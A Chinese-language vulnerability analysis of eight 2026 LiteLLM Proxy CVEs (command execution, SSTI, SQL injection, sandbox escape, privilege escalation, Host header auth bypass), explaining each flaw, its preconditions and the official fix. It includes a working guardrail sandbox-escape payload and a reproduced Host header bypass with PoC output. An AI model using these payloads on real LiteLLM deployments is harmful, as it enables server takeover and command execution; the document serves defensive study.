Attack of LiteLLM

image12

概览表

CVE 类型 发布时间 影响版本范围 修复版本口径 所需权限 主要影响
CVE-2026-30623 MCP stdio 命令执行 2026-04-15 OX 披露;2026-04-21 LiteLLM 博客 未明确下界;固定口径为修复自 v1.83.6-nightly,首个稳定修复 v1.83.7-stable >= v1.83.6-nightly 或 >= v1.83.7-stable 需要有效 LiteLLM API key;涉及 MCP 创建/更新权限或测试端点 以 LiteLLM Proxy 进程权限执行系统命令
CVE-2026-42203 /prompts/test SSTI 2026-04-20 GHSA;2026-04-24 GitHub DB;2026-05-08 NVD >= 1.80.5, < 1.83.7 1.83.7 任意有效 Proxy API key 进程内代码执行、环境变量/模型凭据泄露、可能执行命令
CVE-2026-42208 Proxy API key 校验 SQL 注入 2026-04-20 GHSA;2026-04-24 GitHub DB;2026-05-08 NVD >= 1.81.16, < 1.83.7 1.83.7 无需有效 key;需能访问 LLM API 路由 读取/修改 Proxy 数据库,可能获取凭据并接管 Proxy
CVE-2026-42271 MCP REST 测试端点命令执行 2026-04-21 GHSA;2026-04-25 GitHub DB;2026-05-08 NVD >= 1.74.2, < 1.83.7 1.83.7 任意有效 Proxy API key,包括低权限 internal user key 通过 MCP stdio 预览端点在服务端启动攻击者指定命令
CVE-2026-40217 Guardrail custom code 沙箱逃逸 2026-04-08 X41 公开;2026-05-07 GHSA;2026-05-11 GitHub DB GHSA 元数据:>= 1.81.8, < 1.83.10 GHSA 元数据标 1.83.10;正文称 1.83.11 替换为 RestrictedPython,建议按最新修复版处理 默认需要 proxy_admin / master key;若叠加路由越权可降低门槛 在 Proxy 进程内执行任意 Python/系统命令,默认 Docker 中可能为 root
CVE-2026-47102 /user/update 字段级权限缺失导致角色提升 2026-05-21 VulnCheck/GitHub DB/NVD < 1.83.10 1.83.10 需要可访问 /user/update;默认可由 org_admin 利用,低权限用户通常需结合路由越权 将自身 user_role 改为 proxy_admin,获得管理面控制权
CVE-2026-47101 API key allowed_routes 权限提升 2026-05-21 VulnCheck/GitHub DB/NVD < 1.83.14 1.83.14 已认证 internal_user 创建超出自身角色权限的虚拟 key,访问管理路由,进一步提权到 proxy_admin
CVE-2026-49468 Host Header 认证绕过 2026-05-28 GHSA 项目公告;2026-06-16 GitHub DB/GitLab advisory < 1.84.0 1.84.0;后续路径处理加固回补到维护分支 无需认证;要求 Proxy 对不可信客户端可达且上游未规范化/校验 Host 未认证访问受保护管理路由

CVE-2026-30623

当 MCP server 使用 transport: stdio 时,LiteLLM 将后台用户提供的 command 直接交给 MCP client 创建逻辑。stdio MCP 的设计本身就是通过本地进程通信,但如果配置没有 allowlist,就会变成服务端命令执行入口。

image1
image2
image3

官方FIX7b7f304

白名单,对 stdio command 增加 allowlist,例如 npx、uvx、python、python3、node、docker、deno
image4

CVE-2026-42203

LiteLLM 将用户可控 prompt template 交给模板引擎渲染。攻击者能够通过构造恶意 prompt template,触发模板引擎的逃逸机制,最终实现进程内代码执行。

所需权限

  • 需要任意有效 LiteLLM Proxy API key。
  • advisory 明确该端点只检查调用者是否持有有效 proxy API key,因此低权限 authenticated user 也可触达。

image6

官方FIXd910a95
image5

把 PromptManager.jinja_env 从普通 Jinja 环境换成 ImmutableSandboxedEnvironment,阻断 class__、__mro__、__globals 这类危险属性访问

CVE-2026-42208

LiteLLM Proxy API key 校验流程中存在 SQL 盲注。攻击者可通过构造 Authorization: Bearer … 头,把未认证输入带入数据库查询路径。

image7
认证流程提取 Bearer token 后,如果 token 不满足正常 key 格式,会走认证失败处理和日志记录路径。受影响版本在失败日志 enrichment 中会尝试根据 token 查询 key 对象,并在 Prisma get_data(…, table_name=”combined_view”) 路径中使用字符串拼接构造 SQL:

1
2
3
4
5
6
7
8
9
10
11
Authorization header
-> user_api_key_auth()
-> get_api_key()
-> _get_bearer_token()
-> assert api_key.startswith("sk-") 失败
-> authentication error handler
-> post_call_failure_hook()
-> _ProxyDBLogger._enrich_failure_metadata_with_key_info()
-> get_key_object(hashed_token=<payload>)
-> prisma_client.get_data(token=<payload>, table_name="combined_view")
-> 拼接 SQL 查询

因此注入点看起来在 Authorization: Bearer,本质原因是认证失败 fallback 的日志/数据库 enrichment 对用户输入进行了非参数化查询。
注:需要 Proxy 启用数据库且开启错误日志

官方FIX4dc416e
image8
把拼接 SQL 改成参数化查询

CVE-2026-42271

POST /mcp-rest/test/connection 和 POST /mcp-rest/test/tools/list 是 MCP server 保存前的预览/测试端点。测试端点会根据请求体临时创建 MCP client。若传入 transport: stdio,LiteLLM 会按配置启动本地子进程。修复前这些测试端点只要求有效 proxy API key,没有做 PROXY_ADMIN 角色校验,因此低权限 key 也可触发服务端命令启动。

所需权限

  • 任意有效 LiteLLM Proxy API key。
  • advisory 明确包括低权限 internal-user key。
  • 修复后测试端点要求 PROXY_ADMIN。

image9
image10

官方FIX7b7f304
image11
给接口访问权限加了 proxy_admin_only

CVE-2026-40217

POST /guardrails/test_custom_code 用于测试自定义 Guardrail Python 代码。受影响版本使用手写黑名单/正则限制危险操作,但该沙箱可被绕过,导致任意代码执行。

所需权限

  • 默认配置下需要 proxy_admin credential 或 master key 才能访问该测试端点。
  • 若与 CVE-2026-47101 / CVE-2026-47102 等权限提升链组合,低权限用户可先提升后再触达该执行面。
1
2
3
4
def apply_guardrail(inputs, request_data, input_type):
bi = http_get("http://127.0.0.1").cr_frame.f_builtins
bi["__import__"]("os").system("touch /tmp/success")
return block("done")

image13
image14

官方FIX0a1b442

image15
image16

用 RestrictedPython 替换手写沙箱

CVE-2026-47102

/user/update 允许用户更新自身信息,但受影响版本没有限制可更新字段。能够访问该接口的用户可以把自己的 user_role 修改为 proxy_admin。

所需权限

  • 需要已认证,且调用凭据能够访问 /user/update。
  • 默认情况下,org_admin 对该接口有合法访问权,可不依赖其他漏洞直接利用。
  • 普通 internal_user 通常不能直接访问该接口;若先通过 CVE-2026-47101 创建带 /user/update 路由的 key,则可串联利用。

image17

官方FIXe6f18ce
image18
改成proxy_admin_only

CVE-2026-47101

LiteLLM 允许创建虚拟 API key,并通过 allowed_routes 限制该 key 可以访问的 API 路由。受影响版本在生成 key 时,没有校验调用者申请的 allowed_routes 是否超出自身角色权限。

allowed_routes 本应是限制字段,但在漏洞场景中变成授权字段。低权限用户调用 key 生成接口时,可以指定管理路由或通配路由,例如 /user/*、/key/*、/guardrails/、/mcp-rest/ 或历史版本中的 /*。服务端把这些路由写入新 key 后,新 key 在路由鉴权层会被认为允许访问对应管理接口,从而绕过原始用户角色限制。

不同版本利用面略有差异:

  • 1.82.0:本地复现显示低权限 internal user 可生成 allowed_routes=[“/*”] 的 key,并访问部分管理路由。
  • 1.82.6:仍可生成 wildcard key,但部分接口存在 handler 级别角色检查,例如 /user/list 会被挡住;其他接口仍可能受影响。
  • 1.83.13:通过 service-account / management route 组合越权(team_admin -> proxy_admin)。

proxy_admin
└── organization
└── org_admin
└── team
└── team_admin

1.82.x
image19
image20

1.83.13
image21
image22

官方FIX2220f30

image23
将allowed_routes限制为preset的llm调用接口/基础info接口

CVE-2026-49468

LiteLLM Proxy 的 Host Header 认证绕过漏洞。

LiteLLM Proxy 的认证层根据请求路径判断当前路由是否需要鉴权。受影响版本使用 request.url.path / request.base_url.path 计算有效路由,而 Starlette/FastAPI 的 request.url 会受客户端 Host header 影响。攻击者可构造畸形 Host,让鉴权层误判请求命中了 public route。

FastAPI 实际路由分发基于 ASGI scope[“path”],例如真实请求路径仍是 /user/new。但 LiteLLM 旧版鉴权层从 request.url.path 取路由,而 request.url 是 Starlette 根据请求和 Host header 重构的 URL。

例如:

1
2
POST /user/new HTTP/1.1
Host: 127.0.0.1:14000/?x=1

在某些条件下:

  • FastAPI 仍按 scope[“path”] == “/user/new” 分发到 /user/new。
  • LiteLLM 鉴权层通过 request.url.path 看到的可能是 /。
  • / 是 public route,导致鉴权被跳过。

所需权限

  • 无需认证。
  • 需要 LiteLLM Proxy listener 对不可信客户端可达。
  • 若前面有 CDN、WAF、反向代理、host-based load balancer 等严格校验或规范化 Host,攻击可能被上游阻断。

image24

正常请求行为

正常请求:

1
2
POST /user/new HTTP/1.1
Host: 127.0.0.1:14000

Starlette 构造出的 URL:

1
http://127.0.0.1:14000/user/new

关键字段:

1
2
3
4
scope["path"]       = /user/new
request.url.path = /user/new
request.base_url = http://127.0.0.1:14000/
request.base_url.path = /

LiteLLM 旧版 get_request_route() 最终得到:

1
/user/new

/user/new 是受保护管理接口,因此无 Authorization 时返回 401。

畸形 Host 请求行为

畸形 Host 请求:

1
2
POST /user/new HTTP/1.1
Host: 127.0.0.1:14000/?x=1

真实 HTTP request line 里的路径仍然是:

1
/user/new

也就是 ASGI scope 中仍然是:

1
scope["path"] = /user/new

但 Starlette 在构造 request.url 时会直接拼接 Host header:

1
url = f"{scheme}://{host_header}{path}"

因此得到:

1
http://127.0.0.1:14000/?x=1/user/new

按 URL 语法,? 后面的内容会被当成 query string,所以 URL 的 path 被解析成:

1
request.url.path = /

本地 1.83.14 容器中观测到的字段:

1
2
3
4
5
6
Host: 127.0.0.1:14000/?x=1
scope.path: /user/new
request.url: http://127.0.0.1:14000/?x=1/user/new
request.url.path: /
request.base_url: http://127.0.0.1:14000/?x=1/
request.base_url.path: /

LiteLLM 旧版路由计算问题

受影响版本中的 get_request_route() 逻辑:

1
2
3
4
5
6
7
8
9
10
def get_request_route(request):
try:
if hasattr(request, "base_url") and request.url.path.startswith(
request.base_url.path
):
return request.url.path[len(request.base_url.path) - 1:]
else:
return request.url.path
except Exception:
return request.url.path

在畸形 Host 请求中:

1
2
request.url.path = /
request.base_url.path = /

所以 LiteLLM 得到的鉴权路由是:

1
/

而 / 在 LiteLLM 中属于 public route。

鉴权绕过链路

完整链路:

1
2
3
4
5
6
7
8
9
10
11
POST /user/new
Host: 127.0.0.1:14000/?x=1
无 Authorization

-> Starlette request.url = http://127.0.0.1:14000/?x=1/user/new
-> request.url.path = /
-> LiteLLM get_request_route() 返回 /
-> / 是 LiteLLM public route
-> user_api_key_auth 跳过 API key 鉴权
-> FastAPI 仍按 scope["path"]=/user/new 分发到 /user/new handler
-> /user/new 被未授权执行

关键矛盾是:

1
2
鉴权层看到:/
路由层执行:/user/new

本地复现结果

复现版本:

1
LiteLLM 1.83.14

PoC:

1
/Users/albert/Downloads/AliRedTeam/0day/litellm-lab/pocs/poc_49468.py

正常 Host,无 Authorization:

1
2
3
4
5
POST /user/new
Host: 127.0.0.1:14000

结果:401
Authentication Error, No api key passed in.

畸形 Host,无 Authorization:

1
2
3
4
5
POST /user/new
Host: 127.0.0.1:14000/?x=1

结果:200
成功创建 internal_user

PoC 输出:

1
2
3
4
baseline-no-auth-normal-host: 401
crafted-host-attempt-1: 200
bypass_host='127.0.0.1:14000/?x=1'
verdict=LIKELY VULNERABLE

官方FIXd35d2a7

image25

不使用会被 Host header 影响的 request.url.path 作为鉴权路径,改用 scope[“path”],scope[“path”] 来自 HTTP request line,由 ASGI server 设置 Host header 无法把 scope[“path”] 从 /user/new 改成 /